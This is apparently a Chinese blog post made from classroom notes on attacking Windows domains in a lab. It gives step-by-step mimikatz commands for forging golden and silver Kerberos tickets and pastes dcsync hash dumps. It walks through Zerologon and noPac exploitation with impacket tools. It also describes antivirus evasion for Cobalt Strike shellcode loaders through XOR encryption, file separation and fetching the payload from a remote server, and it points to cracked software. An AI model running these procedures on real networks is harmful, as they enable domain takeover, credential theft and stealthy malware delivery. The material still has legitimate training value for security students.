本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

PTT 攻击 (域内权限维持)

Pass The Ticket:票据传递攻击,传递TGT 票据或 ST 票据,实现黄金票据和白银票据的 权限维持

TGT 票据:在AS REP 出现。TGT 票据使用 Krbtgt 用户的NTLM hash 加密

ST 票据:在 TGS REP 出现,ST 票据使用的是 服务的 NTLM hash 加密

黄金票据

作用:TGT 票据可以访问域环境中所有机器的所有服务

选择一台成员主机,登录到 普通域用户 操作

**baidu.com\han**

前提:攻击者要通过信息泄露或攻击拿到: krbtgt 的 NTLM hash

krbtgt b5f7658348e23f0715a4091ec03098d4

清除票据

klist purge

[00000003] Primary
	 * Username : han
	 * Domain   : BAIDU
	 * LM       : f67ce55ac831223dc187b8085fe1d9df
	 * NTLM     : 161cff084477fe596a5db81874498a24
	 * SHA1     : d669f3bccf14bf77d64667ec65aae32d2d10039d
mimikatz # lsadump::dcsync /all /csv
[DC] 'baidu.com' will be the domain
[DC] 'WIN-IG6QNBJMPCG.baidu.com' will be the DC server
[DC] Exporting domain 'baidu.com'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
1002    WIN-IG6QNBJMPCG$        76d165350c928d4692ad40b275fd7db1        532480
1001    32550   afffeba176210fad4628f0524bfe1942        512
500     Administrator   afffeba176210fad4628f0524bfe1942        512
502     krbtgt  b5f7658348e23f0715a4091ec03098d4        514
1105    PC1-WIN7$       7124211865f8f11565dcec9074b54ba8        4096
1106    PC2-WIN2008$    417c3756ac21ed8c75f8fbacb7ff43c5        4096
1108    user01  161cff084477fe596a5db81874498a24        66048
1109    admin01 7ecffff0c3548187607a14bad0f88bb1        66048
1110    han     161cff084477fe596a5db81874498a24        66048

mimikatz #

操作(mimikatz)

1 定位域控主机名

WIN-IG6QNBJMPCG

2 尝试读取域控的 c 盘共享 (要通过 netbios 读取,不能使⽤ ip 地址)

NetBIOS 允许电脑通过计算机名来识别对方

用于让同一局域网内的计算机能够相互发现并交流

dir \\域控主机名\c$

3 使⽤mimikatz 进⾏⻩⾦票据 ptt 攻击

kerberos::golden /user:administrator /domain:baidu.com /sid:S-1-5-21-3628107679-4118383267-2975722242 /krbtgt:b5f7658348e23f0715a4091ec03098d4 /ptt

/user:administrator
/domain:域名
/sid 使用命令 whoami /all 可以看到,需要去除末尾的 uid

4 查看结果

PTT 执行之前 dir \域控主机名\c$ 显示拒绝访问

PTT 执行之后可以访问,说明黄金票据传递成功

清空票据后,执行 dir \域名主机名\c$ ,拒绝访问

操作(导出票据文件)

1 使用mimikatz 导出黄金票据 文件ticker.kirbi

ticker.kirbi 为 黄金票据

kerberos::golden /user:administrator /domain:baidu.com /sid:S-1-5-21-3628107679-4118383267-2975722242 /krbtgt:b5f7658348e23f0715a4091ec03098d4

2 如何使用 ticker.kribi 黄金票据文件

https://github.com/fortra/impacket

pip install impacket

3 把 ticker.kirbi 文件 转为 python 可以识别的 ccache 文件

使用 脚本:ticketConverter.py

python ticketConverter.py 待转换的kirbi票据的路径 转换好的ccache票据的导出路径

python ticketConverter.py /root/ticket.kirbi /root/ticket.ccache

使用 psexec、wmiexec、atexec、dcomexec 加载票据文件

export KRB5CCNAME=上一步转换好的ccache文件绝对路径

export KRB5CCNAME=/root/ticket.ccache

4 运行 (-code gbk 避免乱码)

python wmiexec.py baidu.com/administrator@WIN-IG6QNBJMPCG -dc-ip 192.168.79.85 -no-pass -k -codec gbk

python psexec.py\wmiexec.py 域名/administrator@目标主机名 -dc-ip 域控IP -target-ip 目标IP -no-pass -k -codec gbk

⚠️-code gbk 的作用 是避免拿到的 cmd 出现乱码

白银票据

作用:ST 票据可以访问域环境中的指定机器的指定服务,st 票据是 最终访问服务的票据,不会再经过 KDC 的验证,便于隐藏

什么是服务NTLM hash:
假设访问 WIN-IG6QNBJMPCG 主机的ldap 服务,那么白银票据中的服务 NTLM hash 是指 WIN-IG6QNBJMPCG 主机账户的 hash:

**WIN-IG6QNBJMPCG$ 76d165350c928d4692ad40b275fd7db1**

mimikatz # lsadump::dcsync /all /csv
[DC] 'baidu.com' will be the domain
[DC] 'WIN-IG6QNBJMPCG.baidu.com' will be the DC server
[DC] Exporting domain 'baidu.com'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
1002    WIN-IG6QNBJMPCG$        76d165350c928d4692ad40b275fd7db1        532480
1001    32550   afffeba176210fad4628f0524bfe1942        512
500     Administrator   afffeba176210fad4628f0524bfe1942        512
502     krbtgt  b5f7658348e23f0715a4091ec03098d4        514
1105    PC1-WIN7$       7124211865f8f11565dcec9074b54ba8        4096
1106    PC2-WIN2008$    417c3756ac21ed8c75f8fbacb7ff43c5        4096
1108    user01  161cff084477fe596a5db81874498a24        66048
1109    admin01 7ecffff0c3548187607a14bad0f88bb1        66048
1110    han     161cff084477fe596a5db81874498a24        66048

mimikatz #

白银票据传递前: 无法访问域控的c$ 共享

操作:(mimikatz)

kerberos::golden /user:administrator /domain:baidu.com /target:WIN-IG6QNBJMPCG.baidu.com /service:cifs /sid:S-1-5-21-3628107679-4118383267-2975722242 /rc4:76d165350c928d4692ad40b275fd7db1 /ptt

kerberos::golden /user:administrator /domain:域名 /target:目标主机名.域名 /service:cifs
/sid:SID值 /rc4:服务的NTLMhash /ptt
targer:目标主机.域名
sid:当前用户的 sid
service:服务类型的对应功能/服务名称
rc4: WIN-IG6QNBJMPCG$ 的 NTLM hash

白银票据传递后:域控可以访问,其他主机,如:WIN2008 不可以访问

域常见漏洞

CVE-2020-1472 (zerologon)

影响:

- Windows Server 2008 R2 Service Pack 1
- Windows Server 2012 / 2012 R2
- Windows Server 2016
- Windows Server 2019
- Windows Server version 1903 / 1909 / 2004 (Server Core installation)

危害:域控机器账户密码被置为空

操作步骤:

1 检查漏洞是否存在

**python zerologon_tester.py 域控主机名 域控的ip地址 **

python zerologon_tester.py WIN-IG6QNBJMPCG 192.168.79.85

2 把域控主机账户的 NTLM hash 变为空

**python CVE-2020-1472.py 域控主机名 域控主机账户名 域控ip**

python CVE-2020-1472.py WIN-IG6QNBJMPCG WIN-IG6QNBJMPCG$ 192.168.79.85

**31d6cfe0d16ae931b73c59d7e0c089c0**

3 使用空密码获取域中其他所有账户的 hash

**secretsdump.exe 域名/域控主机账户名@域控ip地址 -no-pass**

域控主机账户名 :**WIN-IG6QNBJMPCG$**

**secretsdump.exe baidu.com/WIN-IG6QNBJMPCG$@192.168.79.85 -no-pass**

Administrator:500:aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5f7658348e23f0715a4091ec03098d4:::
32550:1001:aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942:::
user01:1108:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
admin01:1109:aad3b435b51404eeaad3b435b51404ee:7ecffff0c3548187607a14bad0f88bb1:::
han:1110:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
WIN-IG6QNBJMPCG$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
PC1-WIN7$:1105:aad3b435b51404eeaad3b435b51404ee:7124211865f8f11565dcec9074b54ba8:::
PC2-WIN2008$:1106:aad3b435b51404eeaad3b435b51404ee:417c3756ac21ed8c75f8fbacb7ff43c5:::

4 使用域管理的hash 做 pth 攻击 或 krbtdt 的hash 做 ptt攻击

wmiexec.exe 域名/administrator@域控IP地址 -hashes 0:administrator域管的ntlmhash

wmiexec.exe baidu.com/administrator@192.168.79.85 -hashes 0:afffeba176210fad4628f0524bfe1942

5 恢复 域控主机账户 原本的hash

在域控上保存SAM 数据库

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
下载域控 sam、system、security 文件(下载到了当前目录)

在攻击机上使用 secretsdump.exe 读取 sam、system、security
secretsdump.exe  -sam sam -system system -security security LOCAL

恢复hash
pythin reinstall_original_pw.py 域控主机名 域控ip 域控机器账户的hash

secretsdump.exe -sam sam -system system -security security LOCA

python reinstall_original_pw.py WIN-IG6QNBJMPCG 192.168.79.85 76d165350c928d4692ad40b275fd7db1

6 虽然域控机器账户的hash恢复了,但是已经获取到的 域管理⽤户的 hash 和 krbtgt 的 hash 依然可⽤

wmiexec.exe baidu.com/administrator@192.168.79.85 -hashes 0:afffeba176210fad4628f0524bfe1942

CVE-2021-42278(noPAC)

https://github.com/Ridter/noPac

操作步骤:

前提:需要获取一个普通的域用户账户和密码

PAC 是windows kerberos 认证中用户权限的标识

环境准备:新建一个新的python虚拟环境

**pip install -r requirements.txt**

**pip install pycryptodome**

python noPac.py 域名/域普通用户名:'密码' -dc-ip 域控ip地址 -dc-host 域控主机名 -use-ldap -shell

python noPac.py baidu.com/han:'1qaz@WSX' -dc-ip 192.168.79.85 -dc-host WIN-IG6QNBJMPCG -use-ldap -shell

免杀

杀毒软件如何查杀木马

  • 病毒库/启发式扫描:基于文件的特征,比如 mimikatz.exe 是已知的木马,就会根据 mimikatz.exe 的特征码精准查杀
  • 沙箱:杀毒软件会把电脑上的文件上传到云沙箱中实际运行,查看是否是木马
  • 内存检测、进程检测、网络检测
  • 行为检测:比如新建用户、屏幕截图、更改注册表
  • 威胁情报:共享已知黑客的ip地址和其他信息

shellcode 加载器

shellcode :漏洞攻击中实际起到作用的代码,shellcode 很小

shellcode 大全 :https://shell-storm.org/shellcode/index.html

原生的shellcode 加载器

生成 cobaltstrike payload

生成一个 bin 文件

使用 010 editor 工具打开 bin 文件

⚠️ 010 editor 可以从官网下载试用 https://www.sweetscape.com/010editor/ 网上也能找到破解工具

把copy as c code 的代码复制到 sc.c (记得修改变量名为 buf)

编译 c 为 exe 文件

⚠️ 想使用gcc 编译,需要下载windows gcc 环境,如 tdm gcc,下载链接
https://jmeubank.github.io/tdm-gcc/articles/2021-05/10.3.0-release

**gcc sc.c -o 1.exe**

生成的1.exe是会被火绒杀掉的

分离免杀

加密和密钥分离

操作上一步生成的 bin 文件,使用 010 editor 进行 xor 计算

输入一个感兴趣的 xor 操作数

把xor 计算后的字节 copy as C code,并放到 sc+xor+arg.c 中

编译 sc+xor+arg.c 为 exe 文件

gcc "sc+xor+arg.c" -o 2.exe

2.exe 不会被火绒杀掉,运行 2.exe 的方式为

2.exe xor操作数

文件分离

直接编译 sc+png.c 文件为 exe

gcc "sc+png.c" -o 3.exe

3.exe 不会被火绒杀掉

把bin文件改名为 1.png ,并和 3.exe 放在同一目录

双击 3.exe 即可上线

网络分离

把shellcode 文件(1.png)放在远程服务器,并开启 http 监听提供一个下载链接

把下载链接替换到 sc+http.c 文件中

编译 sc+http.c 为 exe 文件

gcc "sc+http.c" -o 4.exe -lwininet

4.exe 不会被火绒杀掉

双击运行 4.exe 即可上线